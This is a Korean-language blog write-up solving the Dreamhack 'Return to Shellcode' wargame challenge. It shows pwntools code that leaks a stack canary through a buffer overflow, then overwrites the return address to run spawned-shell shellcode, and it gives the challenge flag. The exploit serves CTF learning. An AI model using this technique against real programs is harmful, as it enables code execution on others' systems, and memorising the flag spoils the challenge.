CTF & Wargame(PWNABLE)

[dreamhack] level 2 Return to Shellcode

KWAKBUMJUN 2025. 4. 2. 18:49

문제 분석

0x7ffc17ea9690와 같이 bof 주소가 출력되고 buf와 rbp까지의 거리를 알려준다.(buf에서 sfp거리) 그리고 사용자 입력을 두번 받는다.

 

위의 코드에서 read(0, buf, 0x100)과 gets(buf) 코드를 보면 스택 버퍼 오버플로우가 발생한다는 것을 알 수 있다.

 

스택 프레임 구조 파악

위에서 획득한 정보는 buf부터 sfp까지의 거리는 0x60이고 buf에서 카나리까지의 거리는 0x60 - 0x08의 값인 0x58이 된다.

buf에서 sfp까지의 거리와 buf에서 카나리까지의 거리를 구했으면, buf에서 카나리까지 쓰레기 값으로 채워주고 뒤에서 카나리를 출력하도록 하면 카나리 값을 획득할 수 있다.

# [2] Leak canary value
payload = b'A' * (buf2cnry + 1)
p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

buf에서 카나리까지의 거리에 + 1을 하는 이유는 카나리의 첫번째 값이 Null 값이기 때문에 + 1을 해줘서 null값까지 A로 채워준 것이다.

그리고 작성한 payload를 input에 전송한 뒤에 buf<->cnry값 뒤에 나머지 카나리 값을 출력하도록 한다.

 

canary : 0xa6d4406e88199d00

 

이제 카나리 값까지 구했으면 셸코드를 획득할 수 있도록 코드를 작성해야 한다.

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

shellcraft를 이용하여 셸코드를 구해주고, payload로 두번째 입력 값에 A를 카나리값 만큼 채워주고 b로 sfp까지 채워준다. 그 후에 buf주소로 ret 주소를 덮어써주면 셸코드를 획득할 수 있다.

 

 

flag : DH{333eb89c9d2615dd8942ece08c1d34d5}